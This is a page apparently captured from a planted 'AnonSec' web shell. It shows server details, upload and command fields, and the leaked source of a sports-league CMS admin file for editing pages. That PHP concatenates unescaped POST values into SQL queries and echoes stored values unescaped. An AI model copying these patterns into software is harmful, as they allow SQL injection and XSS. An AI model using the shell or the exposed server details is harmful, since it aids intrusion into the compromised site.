AnonSec Shell
Server IP : 149.202.105.228  /  Your IP : 216.73.216.18
Web Server : Apache
System : Linux webm129.cluster030.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : atfycaf ( 116275)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/atfycaf/www/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/atfycaf/www/admin/pagesEdit.php
<?php
$thisCheckID	= 29;
include 'globalVars.php';

include 'header.php';
?>
<h2>Update a Site Page</h2>

<?php

if (isset($_POST["updatePage"])) {
	$pageID = $_POST["pageID"];

	$pageNameEN		= $_POST["pageName_en"];
	if ($pageID > 1) {
		$isPlaceholder	= $_POST["placeHolder"];
	} else {
		$isPlaceholder	= 0;
	}

	foreach($langArray as $lang=>$langDisplay) {
		$pageName		= str_replace($encBad, $encGood, $_POST["pageName_".$lang]);
		$headerTitle	= str_replace($encBad, $encGood, $_POST["headerTitle_".$lang]);
		$metaKey		= str_replace($encBad, $encGood, $_POST["metaKey_".$lang]);
		$metaDesc		= str_replace($encBad, $encGood, $_POST["metaDesc_".$lang]);
		if ($pageID > 1) {
			$pageTitle		= str_replace($encBad, $encGood, $_POST["pageTitle_".$lang]);

			mysqli_query($conn, "UPDATE pages_". $lang ." SET menuTitle = '". addslashes($pageName) ."', headerTitle = '". addslashes($headerTitle) ."', metaKey = '". addslashes($metaKey) ."', metaDesc = '". addslashes($metaDesc) ."', pageTitle = '". addslashes($pageTitle) ."', placeHolder = '$isPlaceholder' WHERE id = '$pageID'") or die (mysqli_error($conn));
		} else {
			$introTitle		= str_replace($encBad, $encGood, $_POST["introTitle_".$lang]);
			$introText		= str_replace($encBad, $encGood, $_POST["introText_".$lang]);
			mysqli_query($conn, "UPDATE pages_". $lang ." SET menuTitle = '". addslashes($pageName) ."', headerTitle = '". addslashes($headerTitle) ."', metaKey = '". addslashes($metaKey) ."', metaDesc = '". addslashes($metaDesc) ."', introTitle = '". addslashes($introTitle) ."', introText = '". addslashes($introText) ."' WHERE id = '$pageID'") or die (mysqli_error($conn));
		}

		$trackDate		= date("Y-m-d H:i:s");
		mysqli_query($conn, "INSERT INTO userActions (dateCreated, adminID, pageTracking, databaseUpdated, updateDetails) VALUES ('$trackDate', '$adminID', 'admin/pagesEdit.html', 'pages_". $lang ."', 'The User ". addslashes($adminName) ." &lt;$adminEmail&gt; updated the page ID: $pageID (". addslashes($pageNameEN) .")')");

		$numDivs		= 0;
		$divIDs			= "";
		$divIDs			= explode(",", $_POST["divsToPost_". $lang]);
		$divIDArray		= implode("','", $divIDs);
		mysqli_query($conn, "DELETE FROM pagesModules_". $lang ." WHERE pageID = '$pageID' AND (id NOT IN('$divIDArray'))");

		$numDivs	= count($divIDs);
		$mO			= 1;
		foreach($divIDs as $divID) {
			if (trim($divID) != "") {
				$divContent	= $_POST["editable_". $lang ."_". $divID];
				$divContent	= str_replace(
										array(
											"THE KNOCKOUT FIXTURES WILL BE INSERTED HERE", 
											"THE KNOCKOUT RESULTS WILL BE INSERTED HERE", 
											"THE LEAGUE FIXTURES WILL BE INSERTED HERE",
											"THE LEAGUE RESULTS WILL BE INSERTED HERE",
											"THE LEAGUE TABLE WILL BE INSERTED HERE", 
											"THE GALLERY SLIDES WILL BE INSERTED HERE",
											" sortableDiv", " sortSelectDiv", " ui-sortable-handle"
										), 
										array(
											"[[KNOCKOUT_FIXTURES_BOX]]", 
											"[[KNOCKOUT_RESULTS_BOX]]",
											"[[LEAGUE_FIXTURES_BOX]]", 
											"[[LEAGUE_RESULTS_BOX]]", 
											"[[LEAGUE_TABLE_BOX]]", 
											"[[GALLERY_BOX]]",  
											"", "", ""
										), $divContent
									);

				$updateNewQuery = mysqli_query($conn, "SELECT pageID FROM pagesModules_". $lang ." WHERE id = '$divID'");
				if (mysqli_num_rows($updateNewQuery) == 0) {
					mysqli_query($conn, "INSERT INTO pagesModules_". $lang ." (pageID, moduleOrder, moduleContent) VALUES ('$pageID', '$mO', '". addslashes($divContent) ."')") or die (mysqli_error());
				} else {
					mysqli_query($conn, "UPDATE pagesModules_". $lang ." SET moduleOrder = '$mO', moduleContent = '". addslashes($divContent) ."' WHERE id = '$divID'") or die (mysqli_error());
				}
				$mO++;
			}
		}

	}

	echo '<a class="pagesBack" href="pagesEdit.html">Back to Pages List</a>';
	echo "<p>Success! The $pageNameEN page has been successfully updated.</p>";

} elseif (isset($_POST["getPage"])) {
	$pageID = $_POST["pageID"];

	if (count($langArray) != 1) {
		?>
    <div id="langSelector">
		<?php
		foreach($langArray as $langArrayURL=>$langArrayDisplay) {
			?>
		<a id="<?php echo $langArrayURL ?>Selector"<?php if ($langArrayURL == "en") {?> class="selectedLang"<?php } ?>><?php echo $langArrayDisplay ?></a>
			<?php
		}
		?>
    </div>
		<?php
	}
	?>
	<a class="pagesBack" href="pagesEdit.html">Back to Pages List</a>
    <form action="pagesEdit.html" method="post" style="float:left; clear:both;">
    	<input type="hidden" name="pageID" value="<?php echo $pageID ?>" />
		<?php
		foreach($langArray as $langTab=>$langDisplay) {
			$pageQuery = mysqli_query($conn, "SELECT * FROM pages_". $langTab ." WHERE id = '$pageID'");
			while ($pQ = mysqli_fetch_array($pageQuery)) {
				$pageName		= $pQ["menuTitle"];
				$headerTitle	= $pQ["headerTitle"];
				$metaKey		= $pQ["metaKey"];
				$metaDesc		= $pQ["metaDesc"];
				$pageTitle		= $pQ["pageTitle"];
				$placeHolder	= $pQ["placeHolder"];
				$introTitle		= $pQ["introTitle"];
				$introText		= $pQ["introText"];
			}
			$canvasIDs		= array();
			$divsToPost		= "";
			$canvasIDsQuery = mysqli_query($conn, "SELECT * FROM pagesModules_". $langTab ." WHERE pageID = '$pageID' ORDER BY moduleOrder ASC");
			while ($cIQ = mysqli_fetch_array($canvasIDsQuery)) {
				$canvasIDs[]	= $cIQ["id"];
			}
			$divsToPost		= implode(",", $canvasIDs);
			?>
			<input type="hidden" name="divsToPost_<?php echo $langTab ?>" id="divsToPost_<?php echo $langTab ?>" value="<?php echo $divsToPost ?>" />
			<div class="descTab" id="<?php echo $langTab ?>SelectorTab">
				<div class="pFormRow">
					<div class="pFormTitle">Page Name: <span class="infoButton"><img src="images/infoButton.png" alt="Help" title="Help" width="14" height="14" border="0"><span>The title of the page. This is used to create the URL of the page and is displayed in the main menu</span></span></div>
					<div class="pFormInput">
						<input type="text" name="pageName_<?php echo $langTab ?>" id="pageName_<?php echo $langTab ?>" size="50" value="<?php echo $pageName ?>" />
						<div class="pFormLabel">
							<label class="labelName">Page Name:</label>
						</div>
					</div>
				</div>
				<div class="pFormRow">
					<div class="pFormTitle">Header Title: <span class="infoButton"><img src="images/infoButton.png" alt="Help" title="Help" width="14" height="14" border="0"><span>The title of the page that appears in the browser window. This should be a good descriptive title of the page content</span></span></div>
					<div class="pFormInput">
						<input type="text" name="headerTitle_<?php echo $langTab ?>" id="headerTitle_<?php echo $langTab ?>" size="50" value="<?php echo $headerTitle ?>" />
						<div class="pFormLabel">
							<label class="labelName">Header Title:</label>
						</div>
					</div>
				</div>
				<div class="pFormRow">
					<div class="pFormTitle">Meta Keywords:</div>
					<div class="pFormInput">
						<input type="text" name="metaKey_<?php echo $langTab ?>" id="metaKey_<?php echo $langTab ?>" size="50" value="<?php echo $metaKey ?>" />
						<div class="pFormLabel">
							<label class="labelName">Meta Keywords:</label>
						</div>
					</div>
				</div>
				<div class="pFormRow">
					<div class="pFormTitle">Meta Description: <span class="infoButton"><img src="images/infoButton.png" alt="Help" title="Help" width="14" height="14" border="0"><span>An expansion of the Header Title. This should give an overview of the content of this page</span></span></div>
					<div class="pFormInput">
						<input type="text" name="metaDesc_<?php echo $langTab ?>" id="metaDesc_<?php echo $langTab ?>" size="50" value="<?php echo $metaDesc ?>" />
						<div class="pFormLabel">
							<label class="labelName">Meta Description:</label>
						</div>
					</div>
				</div>
				<?php
				if ($pageID != 1) {
					?>
				<div class="pFormRow">
					<div class="pFormTitle">Page Title: <span class="infoButton"><img src="images/infoButton.png" alt="Help" title="Help" width="14" height="14" border="0"><span>The title of the page that appears over the header photo. Probably best if it is slightly different to the Header Title, but not essential. If you can't think of a different way to title the page then use the Header Title</span></span></div>
					<div class="pFormInput">
						<input type="text" name="pageTitle_<?php echo $langTab ?>" id="pageTitle_<?php echo $langTab ?>" size="50" value="<?php echo $pageTitle ?>" />
						<div class="pFormLabel">
							<label class="labelName">Page Title:</label>
						</div>
					</div>
				</div>
					<?php
					if ($pageID > 1) {
						if ($langTab == "en") {
							?>
				<div class="pFormRow">
					<div class="pFormTitle">Menu Type: <span class="infoButton"><img src="images/infoButton.png" width="14" height="14" alt="Help" title="Help" border="0" /><span>A visible page is a link in the menu, a Placeholder is just text to show a submenu</span></span></div>
					<div class="pFormSelect">
						<select name="placeHolder" id="placeHolder">
							<option value="0"<?php if ($placeHolder == 0) {?> selected<?php } ?>>This is a visible page</option>
							<option value="1"<?php if ($placeHolder == 1) {?> selected<?php } ?>>This is a Menu Placeholder</option>
						</select>
						<div class="pFormLabel">
							<label class="labelName">Menu Type:</label>
						</div>
					</div>
				</div>
							<?php
						}
					}
				} else {
					?>
				<div class="pFormRow">
					<div class="pFormTitle">Home Page Intro Title: <span class="infoButton"><img src="images/infoButton.png" alt="Help" title="Help" width="14" height="14" border="0"><span>The title in yellow on the home page</span></span></div>
					<div class="pFormInput">
						<input type="text" name="introTitle_<?php echo $langTab ?>" id="introTitle_<?php echo $langTab ?>" size="50" value="<?php echo $introTitle ?>" />
						<div class="pFormLabel">
							<label class="labelName">Home Page Intro Title:</label>
						</div>
					</div>
				</div>
				<div class="pFormRow">
					<div class="pFormTitle">Home Page Intro: <span class="infoButton"><img src="images/infoButton.png" alt="Help" title="Help" width="14" height="14" border="0"><span>The text at the top of the home page overlaying the gallery</span></span></div>
					<div id="introText_<?php echo $langTab ?>" class="tinyTxtEditor"><?php echo $introText ?></div>
				</div>
					<?php
				}
				?>
				<div class="stdEntry"<?php if ($placeHolder == 3) {?> style="display:none;"<?php } ?>>
					<div class="divSelector">
						<h3>Add a Section</h3>
						<a class="divStdType" id="divType1_<?php echo $langTab ?>">2 Boxes <span>2 Rectangular boxes set in the centre of the page</span></a>
						<a class="divStdType" id="divType2_<?php echo $langTab ?>">3 Boxes <span>3 Rectangular boxes set in the centre of the page</span></a>
						<a class="divStdType" id="divType3_<?php echo $langTab ?>">4 Boxes <span>4 Rectangular boxes set in the centre of the page</span></a>
						<a class="divStdType" id="divType4_<?php echo $langTab ?>">Text with Background <span>A text box with a full width picture background</span></a>
						<a class="divStdType" id="divType5_<?php echo $langTab ?>">Text without Background <span>A text box with a plain background</span></a>
						<a class="divStdType" id="divType6_<?php echo $langTab ?>">Tournaments Update <span>2 boxes with the latest knockout results and forthcoming fixtures</span></a>
						<a class="divStdType" id="divType7_<?php echo $langTab ?>">Leagues Update <span>2 boxes with the latest league results and forthcoming fixtures</span></a>
						<a class="divStdType" id="divType8_<?php echo $langTab ?>">Photo Gallery <span>A full width box showing random photos from the gallery</span></a>

						<h3>Move / Delete a Section</h3>
						<a class="moveDivs" id="moveDivs_<?php echo $langTab ?>">Move / Delete Sections <span>Click this button to change the form below so you can re-order or delete the sections. Click the button again to release the re-ordering and enable editing of the text and photos</span></a>
					</div>
					<?php
					$canvasIDs		= array();
					$canvasIDsQuery = mysqli_query($conn, "SELECT * FROM pagesModules_". $langTab ." WHERE pageID = '$pageID' ORDER BY moduleOrder ASC");
					while ($cIQ = mysqli_fetch_array($canvasIDsQuery)) {
						$canvasIDs[]	= $cIQ["id"];
					}
					$divsToPost		= implode(",", $canvasIDs);
					?>
		
					<div id="pageCanvas_<?php echo $langTab ?>" class="pageCanvas">
					<?php
					$canvasQuery = mysqli_query($conn, "SELECT * FROM pagesModules_". $langTab ." WHERE pageID = '$pageID' ORDER BY moduleOrder ASC");
					while ($cQ = mysqli_fetch_array($canvasQuery)) {
						$moduleID			= $cQ["id"];
						$moduleContent		= stripslashes($cQ["moduleContent"]);
						$moduleContent	= str_replace(
											array(
												"[[KNOCKOUT_FIXTURES_BOX]]", 
												"[[KNOCKOUT_RESULTS_BOX]]",
												"[[LEAGUE_FIXTURES_BOX]]", 
												"[[LEAGUE_RESULTS_BOX]]", 
												"[[LEAGUE_TABLE_BOX]]", 
												"[[GALLERY_BOX]]", 
											), 
											array(
												"THE KNOCKOUT FIXTURES WILL BE INSERTED HERE", 
												"THE KNOCKOUT RESULTS WILL BE INSERTED HERE", 
												"THE LEAGUE FIXTURES WILL BE INSERTED HERE",
												"THE LEAGUE RESULTS WILL BE INSERTED HERE",
												"THE LEAGUE TABLE WILL BE INSERTED HERE", 
												"THE GALLERY SLIDES WILL BE INSERTED HERE",
											), $moduleContent
										);
						$protectedModule	= $cQ["protected"];

						$editableClass	= "editableArea";
						?>
						<div class="selectableDiv" id="pageDiv_<?php echo $langTab ?>_<?php echo $moduleID ?>">
						<?php
						if ($protectedModule == 0) {
							?>
							<div class="portlet-header">X <span>Delete this section</span></div>
							<?php
						}
						?>
							<div class="handle">Drag Me</div>
							<div class="<?php echo $editableClass ?>" id="editable_<?php echo $langTab ?>_<?php echo $moduleID ?>">
								<?php echo $moduleContent ?>
							</div>
						</div>
						<?php
					}
					?>
					</div>
				</div>
			</div>
			<?php
		}
		?>
		<input type="submit" class="submitButton savePage" name="updatePage" value="Update this Page" />
    </form>

    <?php
} else {
	?>
	<div class="descTab" id="htmlSelectorTab">
	<?php
	$pageQuery = mysqli_query($conn, "SELECT * FROM pages_en ORDER BY menuTitle ASC") or die (mysqli_error($conn));
	while ($pQ = mysqli_fetch_array($pageQuery)) {
		$pageID = $pQ["id"];
		$pageName = $pQ["menuTitle"];
		$protectedPage = $pQ["protectedPage"];
		?>
		<div class="pFormRow">
			<div class="pFormEditTitle"><?php echo $pageName ?></div>
			<div class="pFormEditButtons">
				<form action="pagesEdit.html" method="post"><input type="hidden" name="pageID" value="<?php echo $pageID ?>" /><input type="submit" class="submitButton" name="getPage" value="Edit This Page"></form>
			<?php
			if (in_array("30", $adminPriv)) {
				if ($protectedPage == 0) {
					?>
				<br /><form action="pagesDel.html" method="post"><input type="hidden" name="pageID" value="<?php echo $pageID ?>" /><input type="submit" class="deleteButton" name="getPage" value="Delete This Page"></form>
					<?php
				}
			}
			?>
			</div>
		</div>
		<?php
	}
	?>
	</div>
	<?php
}
?>

<?php
include 'footer.php';
?>

Anon7 - 2022
AnonSec Team